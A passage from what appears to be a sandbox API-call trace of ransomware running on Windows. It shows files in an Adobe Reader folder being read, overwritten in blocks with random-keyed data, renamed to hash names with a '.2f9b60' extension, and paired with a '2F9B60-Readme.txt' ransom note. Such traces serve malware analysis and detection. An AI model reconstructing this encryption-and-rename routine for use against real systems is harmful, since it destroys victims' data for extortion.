nFileSizeLow=0x3cd90, dwReserved0=0x0, dwReserved1=0x0, cFileName="sqlite.dll", cAlternateFileName="")) returned 1 [0127.501] wcscmp (_String1="sqlite.dll", _String2=".") returned 1 [0127.501] wcscmp (_String1="sqlite.dll", _String2="..") returned 1 [0127.501] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801fc020, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8026e440, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8026e440, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Tracker", cAlternateFileName="")) returned 1 [0127.501] wcscmp (_String1="Tracker", _String2=".") returned 1 [0127.501] wcscmp (_String1="Tracker", _String2="..") returned 1 [0127.501] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85da10 [0127.501] wcscpy (in: _Dest=0x1b85da10, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader" [0127.501] wcscat (in: _Dest=0x1b85da10, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\" [0127.501] wcscat (in: _Dest=0x1b85da10, _Source="Tracker" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker" [0127.501] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x1b85da10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x938 [0127.503] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x801fc020, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x4398, dwReserved0=0x0, dwReserved1=0x0, cFileName="ViewerPS.dll", cAlternateFileName="")) returned 1 [0127.503] wcscmp (_String1="ViewerPS.dll", _String2=".") returned 1 [0127.503] wcscmp (_String1="ViewerPS.dll", _String2="..") returned 1 [0127.503] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 1 [0127.503] wcscmp (_String1="wow_helper.exe", _String2=".") returned 1 [0127.503] wcscmp (_String1="wow_helper.exe", _String2="..") returned 1 [0127.503] FindNextFileW (in: hFindFile=0x1b858cd0, lpFindFileData=0x1ce55e10 | out: lpFindFileData=0x1ce55e10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x8202f740, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x11f98, dwReserved0=0x0, dwReserved1=0x0, cFileName="wow_helper.exe", cAlternateFileName="WOW_HE~1.EXE")) returned 0 [0127.503] FindClose (in: hFindFile=0x1b858cd0 | out: hFindFile=0x1b858cd0) returned 1 [0127.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce55e10) returned 1 [0127.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e2c0) returned 1 [0127.504] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8648b0) returned 1 Thread: id = 880 os_tid = 0x1468 [0101.068] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm")) returned 0x20 [0104.876] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm", dwFileAttributes=0x20) returned 1 [0105.089] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMe.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readme.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x151c [0105.089] GetFileSizeEx (in: hFile=0x151c, lpFileSize=0x27fffac0 | out: lpFileSize=0x27fffac0*=16758) returned 1 [0105.089] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x4172, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.089] ReadFile (in: hFile=0x151c, lpBuffer=0x27fffa40, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x27fffa88, lpOverlapped=0x0 | out: lpBuffer=0x27fffa40*, lpNumberOfBytesRead=0x27fffa88*=0x4, lpOverlapped=0x0) returned 1 [0105.135] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262870 [0105.135] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202632c0 [0105.135] NtQuerySystemTime (in: CurrentTime=0x27fff980 | out: CurrentTime=0x27fff980*=132462177106270000) returned 0x0 [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x1a6d4dfc [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x4c2fae64 [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x244ee5dc [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x24508408 [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x6921325f [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x3630593b [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x1783dac7 [0105.135] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x7f5e848b [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x3099b996 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x52fd1e70 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x718cca88 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x7189201e [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x2f3e303a [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x49f81e0c [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x7273d646 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x2d715162 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0xb5aadec [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x6835cb6b [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x1bdbf74f [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x43b9f2c4 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x1530f331 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0xd69a204 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x12975fc9 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x345fb3cd [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x66d7f802 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x22020078 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x3890ffdf [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x51f3ce35 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0xb5e9a38 [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x46f3464f [0105.136] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x56358da6 [0105.137] RtlRandomEx (in: Seed=0x27fff970 | out: Seed=0x27fff970) returned 0x2a33dbd8 [0105.147] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.147] ReadFile (in: hFile=0x151c, lpBuffer=0x41f1f0f0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x27fff9e0, lpOverlapped=0x0 | out: lpBuffer=0x41f1f0f0*, lpNumberOfBytesRead=0x27fff9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0105.329] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0105.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f910) returned 1 [0105.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eb1d40 [0105.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f910 [0105.329] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b860630 [0105.329] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b860630) returned 1 [0105.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.330] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.330] WriteFile (in: hFile=0x151c, lpBuffer=0x41eb1d40*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x27fff9e0, lpOverlapped=0x0 | out: lpBuffer=0x41eb1d40*, lpNumberOfBytesWritten=0x27fff9e0*=0x3c00, lpOverlapped=0x0) returned 1 [0128.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eb1d40) returned 1 [0128.830] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f1f0f0) returned 1 [0128.830] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x22) returned 0x202ab0a0 [0128.830] SetFilePointerEx (in: hFile=0x151c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0128.830] WriteFile (in: hFile=0x151c, lpBuffer=0x1694d0*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x27fffa90, lpOverlapped=0x0 | out: lpBuffer=0x1694d0*, lpNumberOfBytesWritten=0x27fffa90*=0x106, lpOverlapped=0x0) returned 1 [0128.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c490 [0128.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e990 [0128.831] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0128.831] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aa5c0) returned 1 [0128.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x14) returned 0x1b7d5a50 [0128.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aa5c0 [0128.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202aaa40 [0128.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202aaa40) returned 1 [0128.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0128.832] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c490) returned 1 [0128.832] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x29) returned 0x1cd9e930 [0128.832] sprintf (in: _Dest=0x1cd9e930, _Format="%c%c" | out: _Dest="f0") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e932, _Format="%c%c" | out: _Dest="63") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e934, _Format="%c%c" | out: _Dest="e2") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e936, _Format="%c%c" | out: _Dest="7f") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e938, _Format="%c%c" | out: _Dest="fc") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e93a, _Format="%c%c" | out: _Dest="9c") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e93c, _Format="%c%c" | out: _Dest="77") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e93e, _Format="%c%c" | out: _Dest="b9") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e940, _Format="%c%c" | out: _Dest="05") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e942, _Format="%c%c" | out: _Dest="09") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e944, _Format="%c%c" | out: _Dest="d5") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e946, _Format="%c%c" | out: _Dest="fa") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e948, _Format="%c%c" | out: _Dest="42") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e94a, _Format="%c%c" | out: _Dest="a1") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e94c, _Format="%c%c" | out: _Dest="9b") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e94e, _Format="%c%c" | out: _Dest="46") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e950, _Format="%c%c" | out: _Dest="55") returned 2 [0128.832] sprintf (in: _Dest=0x1cd9e952, _Format="%c%c" | out: _Dest="54") returned 2 [0128.833] sprintf (in: _Dest=0x1cd9e954, _Format="%c%c" | out: _Dest="3b") returned 2 [0128.833] sprintf (in: _Dest=0x1cd9e956, _Format="%c%c" | out: _Dest="c1") returned 2 [0128.833] RtlInitAnsiString (in: DestinationString=0x27fffb08, SourceString="f063e27ffc9c77b90509d5fa42a19b4655543bc1" | out: DestinationString="f063e27ffc9c77b90509d5fa42a19b4655543bc1") [0128.833] RtlAnsiStringToUnicodeString (in: DestinationString=0x27fffad8, SourceString="f063e27ffc9c77b90509d5fa42a19b4655543bc1", AllocateDestinationString=1 | out: DestinationString="f063e27ffc9c77b90509d5fa42a19b4655543bc1") returned 0x0 [0128.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x52) returned 0x1cd9cbb0 [0128.833] wcscat (in: _Dest=0x1b85e990, _Source="f063e27ffc" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\f063e27ffc") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\f063e27ffc" [0128.833] wcscat (in: _Dest=0x1b85e990, _Source=".2f9b60" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\f063e27ffc.2f9b60") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\f063e27ffc.2f9b60" [0128.833] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\f063e27ffc.2f9b60", NtPathName=0x27fffab0, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\f063e27ffc.2f9b60", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0128.833] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x2027ab50 [0128.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x2027ab50) returned 1 [0128.835] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cf47e10) returned 1 [0128.835] NtQueryInformationFile (in: FileHandle=0x151c, IoStatusBlock=0x27fffb18, FileInformation=0x27fffb28, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x27fffb18, FileInformation=0x27fffb28) returned 0x0 [0128.835] NtSetInformationFile (FileHandle=0x151c, IoStatusBlock=0x27fffb18, FileInformation=0x27fffb28, Length=0x28, FileInformationClass=0x4) returned 0x0 [0128.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0128.836] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd9cbb0) returned 1 [0128.836] FlushFileBuffers (hFile=0x151c) returned 1 [0128.837] CloseHandle (hObject=0x151c) returned 1 [0128.838] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x78) returned 0x1b85e990 [0128.838] wcscpy (in: _Dest=0x1b85e990, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\" [0128.838] wcscat (in: _Dest=0x1b85e990, _Source="2F9B60-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" [0128.839] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\2F9B60-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\2f9b60-readme.txt")) returned 0x20 [0128.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e990) returned 1 [0128.839] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b86e5d0) returned 1 Thread: id = 881 os_tid = 0x146c [0101.070] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm")) returned 0x20 [0104.867] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm", dwFileAttributes=0x20) returned 1 [0105.093] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\ReadMeCS.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\readmecs.htm"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x160c [0105.093] GetFileSizeEx (in: hFile=0x160c, lpFileSize=0x28f0f660 | out: lpFileSize=0x28f0f660*=16241) returned 1 [0105.093] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x3f6d, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.093] ReadFile (in: hFile=0x160c, lpBuffer=0x28f0f5e0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x28f0f628, lpOverlapped=0x0 | out: lpBuffer=0x28f0f5e0*, lpNumberOfBytesRead=0x28f0f628*=0x4, lpOverlapped=0x0) returned 1 [0105.161] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20261040 [0105.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202609e0 [0105.161] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262720 [0105.161] NtQuerySystemTime (in: CurrentTime=0x28f0f520 | out: CurrentTime=0x28f0f520*=132462177106582000) returned 0x0 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x76e00583 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x6405a1c6 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x1bdd2ade [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x242d15d6 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x6cc93846 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x48897719 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x1720c391 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x7d2531bf [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x52054edf [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0xe617d39 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x5a9b35b5 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x26574b83 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x3cdb7ffe [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x1ff03549 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x13a56f7d [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x63932981 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x318d9825 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x1b52f948 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x767d87e7 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x67a6e86e [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x1683da27 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x4d238581 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x79b1112d [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x32f28dd6 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x926dada [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x36dab1f0 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x572f4f03 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x7f8a1626 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x7abddc95 [0105.162] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x36b0477 [0105.163] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0x3a94c963 [0105.163] RtlRandomEx (in: Seed=0x28f0f510 | out: Seed=0x28f0f510) returned 0xb4f70e1 [0105.173] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.174] ReadFile (in: hFile=0x160c, lpBuffer=0x41f485a0, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x28f0f580, lpOverlapped=0x0 | out: lpBuffer=0x41f485a0*, lpNumberOfBytesRead=0x28f0f580*=0x3c00, lpOverlapped=0x0) returned 1 [0105.333] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0105.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1cd97bc0 [0105.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85e010 [0105.333] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0105.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ff10) returned 1 [0105.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x41eae130 [0105.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85ff10 [0105.334] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x1b85f8e0 [0105.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85f8e0) returned 1 [0105.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85e010) returned 1 [0105.334] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd97bc0) returned 1 [0105.334] WriteFile (in: hFile=0x160c, lpBuffer=0x41eae130*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x28f0f580, lpOverlapped=0x0 | out: lpBuffer=0x41eae130*, lpNumberOfBytesWritten=0x28f0f580*=0x3c00, lpOverlapped=0x0) returned 1 [0105.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41eae130) returned 1 [0105.374] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x41f485a0) returned 1 [0105.374] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x26) returned 0x202a6860 [0105.375] SetFilePointerEx (in: hFile=0x160c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2 | out: lpNewFilePointer=0x0) returned 1 [0105.375] WriteFile (in: hFile=0x160c, lpBuffer=0x167dc0*, nNumberOfBytesToWrite=0x10a, lpNumberOfBytesWritten=0x28f0f630, lpOverlapped=0x0 | out: lpBuffer=0x167dc0*, lpNumberOfBytesWritten=0x28f0f630*=0x10a, lpOverlapped=0x0) returned 1 [0105.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c210 [0105.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b85ec90 [0105.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0105.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x20262840) returned 1 [0105.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x18) returned 0x1b82d000 [0105.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x20262840 [0105.508] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x202626c0 [0105.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202626c0) returned 1 [0105.508] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b85ec90) returned 1 [0105.509] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c210) returned 1 [0105.509] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, 